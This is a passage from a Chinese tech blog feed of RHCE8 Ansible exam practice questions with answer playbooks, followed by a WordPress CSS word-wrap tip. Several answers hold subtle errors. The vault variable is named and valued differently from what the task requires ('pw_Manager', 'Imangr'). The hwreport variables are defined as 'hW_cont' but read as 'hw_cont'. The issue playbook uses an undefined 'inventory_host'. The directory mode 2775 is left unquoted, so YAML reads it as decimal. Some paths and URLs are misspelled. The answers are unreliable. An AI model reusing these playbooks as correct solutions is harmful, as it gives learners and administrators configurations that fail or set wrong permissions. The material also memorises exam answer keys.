src="https://images.hao.kim/uploads/2024/11/7abae571457285d3f54eb5baff68fb8c654d1a74b84668f2846f2be0dfec95b4.jpg" alt="Ansible-update-salaries-0">  </p><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-vault view salaries.yml</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/80d04c3d5975523eddc4a2d8b6b18e763d4a8b13c31c4e747ed8c3381b70ad29.jpg" alt="Ansible-update-salaries-1">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ansible </tag>
            
            <tag> RHCE </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>创建用户账户</title>
      <link href="/archives/linux/RHCE/Ansible-create-user.html"/>
      <url>/archives/linux/RHCE/Ansible-create-user.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：创建用户账户"><a href="#RHCE8-练习题：创建用户账户" class="headerlink" title="RHCE8 练习题：创建用户账户"></a>RHCE8 练习题：创建用户账户</h4><ol><li>从 <code>http://materials.example.com/cd/exam_rhce8/user_list.yml</code> 下载要创建的用户的列表，并将它保存到<code>/home/student/ansible</code> 目录</li><li>在本次考试中使用在其他位置创建的密码库 <code>/home/student/ansible/locker.yml</code> 创建名为 <code>/home/student/ansible/users.yml</code> 的playbook ，从而按以下所述创建用户账户</li><li>职位描述为 <code>developer</code> 的用户应当：<ul><li>在<code>dev</code>和<code>test</code>主机组中的受管节点上创建</li><li>从<code>pw_developer</code>变量分配密码</li><li>是补充组<code>student</code>的成员</li></ul></li><li>职位描述为<code>manager</code>的用户应当：<ul><li>在<code>prod</code>主机组中的受管节点上创建</li><li>从<code>pw_manager</code>变量分配密码</li><li>是补充组<code>opsmgr</code>的成员</li></ul></li><li>密码采用 <code>SHA512</code> hash 格式</li><li>您的 <code>playbook</code> 应能够在本次考试中使用在其他位置创建的库密码文件 <code>/home/student/ansible/secret.txt</code> 正常运行</li></ol><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget http://materials.example.com/cd/exam_rhce8/user_list.yml</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/users.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">users</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">dev,test,prod</span></span><br><span class="line">  <span class="attr">vars_files:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/home/student/ansible/locker.yml</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/home/student/ansible/user_list.yml</span></span><br><span class="line">  <span class="attr">tasks:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">user</span> <span class="string">and</span> <span class="string">student</span> <span class="string">group</span></span><br><span class="line">      <span class="attr">group:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">student</span></span><br><span class="line">      <span class="attr">loop:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; users &#125;&#125;</span>&quot;</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">item.job</span> <span class="string">==</span> <span class="string">&quot;developer&quot;</span> <span class="string">and</span> <span class="string">(inventory_hostname</span> <span class="string">in</span> <span class="string">groups.dev</span> <span class="string">or</span> <span class="string">inventory_hostname</span> <span class="string">in</span> <span class="string">groups.test)</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">user</span> <span class="string">and</span> <span class="string">pass</span></span><br><span class="line">      <span class="attr">user:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; item.name &#125;&#125;</span>&quot;</span></span><br><span class="line">        <span class="attr">password:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; pw_developer | password_hash(&#x27;sha512&#x27;) &#125;&#125;</span>&quot;</span></span><br><span class="line">        <span class="attr">groups:</span> <span class="string">student</span></span><br><span class="line">      <span class="attr">loop:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; users &#125;&#125;</span>&quot;</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">item.job</span> <span class="string">==</span> <span class="string">&quot;developer&quot;</span> <span class="string">and</span> <span class="string">(inventory_hostname</span> <span class="string">in</span> <span class="string">groups.dev</span> <span class="string">or</span> <span class="string">inventory_hostname</span> <span class="string">in</span> <span class="string">groups.test)</span></span><br><span class="line"></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">opsmgr</span> <span class="string">group</span></span><br><span class="line">      <span class="attr">group:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">opsmgr</span></span><br><span class="line">      <span class="attr">loop:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; users &#125;&#125;</span>&quot;</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">item.job</span> <span class="string">==</span> <span class="string">&quot;manager&quot;</span> <span class="string">and</span> <span class="string">inventory_hostname</span> <span class="string">in</span> <span class="string">groups.prod</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">user</span> <span class="string">and</span> <span class="string">password</span></span><br><span class="line">      <span class="attr">user:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; item.name &#125;&#125;</span>&quot;</span></span><br><span class="line">        <span class="attr">password:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; pw_manager | password_hash(&#x27;sha512&#x27;) &#125;&#125;</span>&quot;</span></span><br><span class="line">        <span class="attr">groups:</span> <span class="string">opsmgr</span></span><br><span class="line">      <span class="attr">loop:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; users &#125;&#125;</span>&quot;</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">item.job</span> <span class="string">==</span> <span class="string">&quot;manager&quot;</span> <span class="string">and</span> <span class="string">inventory_hostname</span> <span class="string">in</span> <span class="string">groups.prod</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook users.yml --vault-password-file=secret.txt</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible  all -a <span class="string">&#x27;tail -3 /etc/passwd&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/b84f13590fbcc2f1eb054a7e8d823d8d80009871292cc957f25fe9f44371c10c.jpg" alt="Ansible-create-user-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Ansible </tag>
            
            <tag> RHCE </tag>
            
            <tag> create-user </tag>
            
            <tag> vault </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>创建密码库</title>
      <link href="/archives/linux/RHCE/Ansible-locker.html"/>
      <url>/archives/linux/RHCE/Ansible-locker.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：创建密码库"><a href="#RHCE8-练习题：创建密码库" class="headerlink" title="RHCE8 练习题：创建密码库"></a>RHCE8 练习题：创建密码库</h4><p>按照下方所述，创建一个Ansible库来存储用户密码：</p><ul><li>库名为 <strong>&#x2F;home&#x2F;student&#x2F;ansible&#x2F;locker.yml</strong></li><li>库中含有两个变量，名称如下：<ul><li><strong>pw_developer</strong> , 值为 <strong>Imadev</strong></li><li><strong>pw_manager</strong> , 值为 <strong>Imamgr</strong></li></ul></li><li>用于加密和解密该库的密码为 <strong>retent</strong></li><li>密码存储在文件 <strong>&#x2F;home&#x2F;student&#x2F;ansible&#x2F;secret.txt</strong> 中</li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> retent&gt; /home/student/ansible/secret.txt</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/locker.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">pw_developer:</span> <span class="string">Imadev</span></span><br><span class="line"><span class="attr">pw_Manager:</span> <span class="string">Imangr</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-vault encrypt --vault-password-file=/home/student/ansible/secret.txt /home/student/ansible/locker.yml</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-vault create --vault-password-file=/home/student/ansible/secret.txt /home/student/ansible/locker.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">pw_developer:</span> <span class="string">Imadev</span></span><br><span class="line"><span class="attr">pw_Manager:</span> <span class="string">Imangr</span></span><br></pre></td></tr></table></figure><hr><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-vault view /home/student/nsible/locker.yml</span><br><span class="line"><span class="comment"># 使用密码retent解密查看文件</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ansible </tag>
            
            <tag> RHCE </tag>
            
            <tag> vault </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>生成硬件报告</title>
      <link href="/archives/linux/RHCE/Ansible-hwreport.html"/>
      <url>/archives/linux/RHCE/Ansible-hwreport.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：生成硬件报告"><a href="#RHCE8-练习题：生成硬件报告" class="headerlink" title="RHCE8 练习题：生成硬件报告"></a>RHCE8 练习题：生成硬件报告</h4><p>创建一个名为 <strong><code>/home/student/ansible/hwreport.yml</code></strong> 的playbook，它将在所有受管节点上生成含有以下信息的输出文件 <strong><code>/root/hwreport.txt</code></strong> :</p><ul><li>清单主机名称</li><li>以 <strong><code>MB</code></strong> 表示的总内存大小</li><li><strong><code>BIOS</code></strong> 版本</li><li>磁盘设备 <strong><code>vda</code></strong> 的大小</li><li>磁盘设备 <strong><code>vdb</code></strong> 的大小</li><li>输出文件中的每一行格式为  <strong><code>key=value</code></strong></li></ul><p>您的playbook应当：</p><ul><li>从 <code>http://materials.example.com/cd/exam_rhce8/hwreport.empty</code> 下载文件，并将它保存为 <strong><code>/root/hwreport.txt</code></strong></li><li>硬件报告 <strong><code>/root/hwreport.txt</code></strong> 中应使用相应的值</li><li>如何硬件项不存在，相关的值应设为 <strong><code>NONE</code></strong></li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/hwreport.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">hwreport</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">all</span></span><br><span class="line">  <span class="attr">vars:</span></span><br><span class="line">    <span class="attr">hw_all:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">hw_name:</span> <span class="string">HOSTNAME</span></span><br><span class="line">        <span class="attr">hW_cont:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; ansible_hostname | default(&#x27;NONE&#x27;,true) &#125;&#125;</span>&quot;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">hw_name:</span> <span class="string">BIOS_VERSION</span></span><br><span class="line">        <span class="attr">hW_cont:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; ansible_bios_version | default(&#x27;NONE&#x27;,true) &#125;&#125;</span>&quot;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">hw_name:</span> <span class="string">MEMORY</span></span><br><span class="line">        <span class="attr">hW_cont:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; ansible_memtotal_mb | default(&#x27;NONE&#x27;,true) &#125;&#125;</span>&quot;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">hw_name:</span> <span class="string">VDASIZE</span></span><br><span class="line">        <span class="attr">hW_cont:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; ansible_devices.vda.size | default(&#x27;NONE&#x27;,true) &#125;&#125;</span>&quot;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">hw_name:</span> <span class="string">VDBSIZE</span></span><br><span class="line">        <span class="attr">hW_cont:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; ansible_devices.vdb.size | default(&#x27;NONE&#x27;,true) &#125;&#125;</span>&quot;</span></span><br><span class="line">  <span class="attr">tasks:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">download</span> <span class="string">file</span></span><br><span class="line">      <span class="attr">get_url:</span></span><br><span class="line">        <span class="attr">url:</span> <span class="string">http://materials.example.com/cd/exam_rhce8/hwreport.empty</span></span><br><span class="line">        <span class="attr">dest:</span> <span class="string">/root/hwreport.txt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">modify</span> <span class="string">hwreport</span> <span class="string">file</span></span><br><span class="line">      <span class="attr">lineinfile:</span></span><br><span class="line">        <span class="attr">path:</span> <span class="string">/root/hwreport.txt</span></span><br><span class="line">        <span class="attr">regexp:</span> <span class="string">&quot;^<span class="template-variable">&#123;&#123;item.hw_name&#125;&#125;</span>&quot;</span></span><br><span class="line">        <span class="attr">line:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; item.hw_name &#125;&#125;</span>=<span class="template-variable">&#123;&#123; item.hw_cont &#125;&#125;</span>&quot;</span></span><br><span class="line">      <span class="attr">loop:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; hw_all &#125;&#125;</span>&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook hwreport.yml</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible all -a <span class="string">&#x27;cat /root/hwreport.txt&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/95c47deb1463cd5d723d1bbf11fa5bcdd215a68d776226ad8da43ea6b5f3c7f5.jpg" alt="Ansible-hwreport-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Ansible </tag>
            
            <tag> RHCE </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>创建web内容目录</title>
      <link href="/archives/linux/RHCE/Ansible-webcontent.html"/>
      <url>/archives/linux/RHCE/Ansible-webcontent.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：创建web内容目录"><a href="#RHCE8-练习题：创建web内容目录" class="headerlink" title="RHCE8 练习题：创建web内容目录"></a>RHCE8 练习题：创建web内容目录</h4><p>按照下方所述，创建一个名为 <code>/home/student/ansible/webcontent.yml</code> 的 playbook：</p><ul><li>该 playbook 在 <code>dev</code> 主机组中的受管节点上运行</li><li>创建符合下列要求的目录 <code>/webdev</code><ul><li>所有者为 <code>webdev</code> 组</li><li>具有常规权限：<ul><li><code>owner = read + write + execute</code></li><li><code>group = read + write + execute</code></li><li><code>other = read + execute</code></li></ul></li><li>具有特殊权限： 设置组ID</li></ul></li><li>用符号链接将 <code>/var/www/html/webdev</code> 链接到 <code>/webdev</code></li><li>创建文件 <code>/webdev/index.html</code> 其中包含如下所示的单行文件：<ul><li><code>Development</code></li></ul></li><li>在 <code>dev</code> 主机组中主机上浏览此目录（例如：<code>http://servera.lab.example.com/webdev/</code> 将生成以下输出：<ul><li><code>Development</code></li></ul></li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/webcontent.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">http</span> <span class="string">is</span> <span class="string">installed?</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">dev</span></span><br><span class="line">  <span class="attr">roles:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">apache</span></span><br><span class="line">  <span class="attr">tasks:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">web</span> <span class="string">group</span></span><br><span class="line">      <span class="attr">group:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">webdev</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">web</span> <span class="string">dir</span></span><br><span class="line">      <span class="attr">file:</span></span><br><span class="line">        <span class="attr">path:</span> <span class="string">/webdev</span></span><br><span class="line">        <span class="attr">state:</span> <span class="string">directory</span></span><br><span class="line">        <span class="attr">group:</span> <span class="string">webdev</span></span><br><span class="line">        <span class="attr">mode:</span> <span class="number">2775</span></span><br><span class="line">        <span class="attr">setype:</span> <span class="string">httpd_sys_content_t</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">link</span></span><br><span class="line">      <span class="attr">file:</span></span><br><span class="line">        <span class="attr">src:</span> <span class="string">/webdev/</span></span><br><span class="line">        <span class="attr">dest:</span> <span class="string">/var/www/html/webdev</span></span><br><span class="line">        <span class="attr">state:</span> <span class="string">link</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">file</span></span><br><span class="line">      <span class="attr">copy:</span></span><br><span class="line">        <span class="attr">content:</span> <span class="string">&quot;Development&quot;</span></span><br><span class="line">        <span class="attr">dest:</span> <span class="string">/webdev/index.html</span></span><br><span class="line">        <span class="attr">setype:</span> <span class="string">httpd_sys_content_t</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook webcontent.yml</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl servera/webdev/</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/8e40aba9eaf7ee47e340a5ef72b24946ceaefe32be2efef7b271e406c648c293.jpg" alt="Ansible-webcontent-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ansible </tag>
            
            <tag> RHCE </tag>
            
            <tag> ansible-playbook </tag>
            
            <tag> webcontent </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>修改和使用playbook</title>
      <link href="/archives/linux/RHCE/Ansible-issue.html"/>
      <url>/archives/linux/RHCE/Ansible-issue.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：修改文件内容"><a href="#RHCE8-练习题：修改文件内容" class="headerlink" title="RHCE8 练习题：修改文件内容"></a>RHCE8 练习题：修改文件内容</h4><p>按照下方所述，创建名为 <code>/home/student/ansible/issue.yml</code> 的playbook：</p><ul><li>该playbook将在 <code>所有</code> 清单主机上运行</li><li>该playbook会将 <code>/etc/issue</code> 的内容替换为下方所示的一行文本：<ul><li>在 <code>dev</code> 主机组中的主机上，这行文本显示为： <code>Development</code></li><li>在 <code>test</code> 主机组中的主机上，这行文本显示为： <code>Test</code></li><li>在 <code>prod</code> 主机组中的主机上，这行文本显示为： <code>Production</code></li></ul></li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/issue.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">modify</span> <span class="string">issue</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">all</span> </span><br><span class="line">  <span class="attr">tasks:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">modify</span> <span class="string">issue</span></span><br><span class="line">      <span class="attr">copy:</span></span><br><span class="line">        <span class="attr">content:</span> <span class="string">&#x27;Development&#x27;</span></span><br><span class="line">        <span class="attr">dest:</span> <span class="string">/etc/issue</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">inventory_host</span> <span class="string">in</span> <span class="string">groups.dev</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">modify</span> <span class="string">issue</span></span><br><span class="line">      <span class="attr">copy:</span></span><br><span class="line">        <span class="attr">content:</span> <span class="string">&#x27;Test&#x27;</span></span><br><span class="line">        <span class="attr">dest:</span> <span class="string">/etc/issue</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">inventory_host</span> <span class="string">in</span> <span class="string">groups.test</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">modify</span> <span class="string">issue</span></span><br><span class="line">      <span class="attr">copy:</span></span><br><span class="line">        <span class="attr">content:</span> <span class="string">&#x27;Production&#x27;</span></span><br><span class="line">        <span class="attr">dest:</span> <span class="string">/etc/issue</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">inventory_host</span> <span class="string">in</span> <span class="string">groups.prod</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook issue.yml</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible all -a <span class="string">&#x27;cat /etc/issue&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/1d728b81f3ad66191f91ce2abb043644645ec364a581f3b8fbb64af90d3af248.jpg" alt="Ansible-issue-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ansible </tag>
            
            <tag> ansible-playbook </tag>
            
            <tag> issue </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>解决wordpress文章中长链接或英文超出宽度</title>
      <link href="/archives/web/wordpress-word-wrap.html"/>
      <url>/archives/web/wordpress-word-wrap.html</url>
      
        <content type="html"><![CDATA[<p>很多时候，WordPress中文主题都可能在开发的时候，漏掉了对文章对英文的排版优化，出现几种情况：</p><ol><li>长英文、长链接，溢出超过显示范围，没有换行</li><li>英文单词换行时，在单词中断开了</li></ol><p>解决办法有两个：</p><h4 id="1-自动换行"><a href="#1-自动换行" class="headerlink" title="1. 自动换行"></a>1. 自动换行</h4><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="attribute">word-wrap</span>: break-word; </span><br><span class="line"><span class="attribute">word-break</span>: normal;</span><br></pre></td></tr></table></figure><h4 id="2-英文单词不拆词"><a href="#2-英文单词不拆词" class="headerlink" title="2. 英文单词不拆词"></a>2. 英文单词不拆词</h4><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="attribute">word-break</span>: keep-all;  //只能在半角空格或连字符处换行。</span><br><span class="line"><span class="attribute">word-wrap</span>: break-word; //当单词太长时，先尝试换行，换行后还是太长，单词内还可以换行。</span><br><span class="line"><span class="attribute">white-space</span>: pre-wrap; //保留所有的空格和回车，但是允许折行，注意：出现大量空白时，可不加。</span><br></pre></td></tr></table></figure><p>一般来说，需要在属于文章内容的样式表中，增加以下的 css 样式，即可解决。</p><h4 id="例子"><a href="#例子" class="headerlink" title="例子"></a>例子</h4><p>未修改之前，链接过长超出屏幕，对于手机来说不是很友好，类似下载地址这些超长链接影响更大，</p><p><img src="https://images.hao.kim/uploads/2024/11/f4a1c37efb7b6265e3e71ffff9e186ab300806c83bbdda90616e428e8a754644.jpg" alt="wordpress-word-wrap-0">  </p><p>我的主题是 KnowHow，我通过在style.css文件中添加达到效果</p><p><img src="https://images.hao.kim/uploads/2024/11/05db163b7b22657bdd367ed17cb47df8509ad503eb421253a94a884246b94eae.jpg" alt="wordpress-word-wrap-1">  </p><p>通过后台主机编辑器进行css的修改</p><p><img src="https://images.hao.kim/uploads/2024/11/4444e0079f32f8321ec84f6c4713cf09ebf1261b8a857da2649c96dd7ebadffd.jpg" alt="wordpress-word-wrap-2">  </p><p>修改完成以后的效果，完成预期</p><p><img src="https://images.hao.kim/uploads/2024/11/fb5497736d22e26bf1694d287cccc3273c29efb6c0f3cc63f01ba1505b6f4afd.jpg" alt="wordpress-word-wrap-3">  </p><hr><blockquote><p>参考 1: <a href="https://cloud.tencent.com/developer/article/1945244">https://cloud.tencent.com/developer/article/1945244</a> “解决WordPress 文章英文单词溢出&#x2F;单词断词等问题”</p></blockquote>]]></content>
      
      
      <categories>
          
          <category> web </category>
          
      </categories>
      
      
        <tags>
            
            <tag> wordpress </tag>
            
            <tag> wordpress-word-wrap </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>生成主机文件</title>
      <link href="/archives/linux/RHCE/Ansible-create-file-with-hosts.html"/>
      <url>/archives/linux/RHCE/Ansible-create-file-with-hosts.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：生成主机文件"><a href="#RHCE8-练习题：生成主机文件" class="headerlink" title="RHCE8 练习题：生成主机文件"></a>RHCE8 练习题：生成主机文件</h4><ul><li>将一个初始模板文件从 <strong><code>http://materials.example.com/cd/exam_rhce8/hosts.j2</code></strong> 下载到 <strong><code>/home/student/ansible</code></strong> 以便使用该模板文件生成以下文件：<ul><li>针对每个清单主机包含一行内容，其格式与 <strong><code>/etc/hosts</code></strong> 相同</li></ul></li><li>创建名为 <strong><code>/home/student/ansible/hosts.yml</code></strong> 的playbook ，它将使用此模板在 <strong>dev</strong> 主机组中的主机上生成文件 <strong><code>/etc/myhosts</code></strong><ul><li>该playbook运行后，<strong><code>dev</code></strong> 主机组中的主机上的文件 <strong><code>/etc/myhosts</code></strong> 应针对每个受管主机 包含一行内容</li><li><strong><code>address  fqdn  hostname</code></strong></li></ul></li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><p>下载模板并编辑</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget -O /home/student/ansible/hosts.j2 http://materials.exmaple.com/cd/exam_rhc8/hosts.j2</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/hosts.j2</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">*****</span></span><br><span class="line"><span class="string">*****</span></span><br><span class="line">&#123;<span class="string">%</span> <span class="string">for</span> <span class="string">host</span> <span class="string">in</span> <span class="string">groups.all</span> <span class="string">%</span>&#125;</span><br><span class="line">&#123;&#123; <span class="string">hostvars</span>[<span class="string">host</span>]<span class="string">.ansible_facts.default_ipv4.address</span> &#125;&#125; &#123;&#123; <span class="string">hostvars</span>[<span class="string">host</span>]<span class="string">.ansible_facts.fqdn</span> &#125;&#125; &#123;&#123; <span class="string">hostvars</span>[<span class="string">host</span>]<span class="string">.ansible_facts.hostname</span> &#125;&#125;</span><br><span class="line">&#123;<span class="string">%</span> <span class="string">endfor</span> <span class="string">%</span>&#125;</span><br></pre></td></tr></table></figure><p>编写hosts.yml</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/hosts.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">myhosts</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">all</span></span><br><span class="line">  <span class="attr">tasks:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">hosts.j2</span></span><br><span class="line">      <span class="attr">template:</span></span><br><span class="line">        <span class="attr">src:</span> <span class="string">hosts.j2</span></span><br><span class="line">        <span class="attr">dest:</span> <span class="string">/etc/myhosts</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">inventory_hostname</span> <span class="string">in</span> <span class="string">groups.dev</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook hosts.yml</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible dev -a <span class="string">&#x27;cat /etc/myhosts&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/9636a14855725ff4da38480f845507205e954336030b5ac691ca6c0f79c8337b.jpg" alt="Ansible-create-file-with-hosts-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ansible </tag>
            
            <tag> hosts </tag>
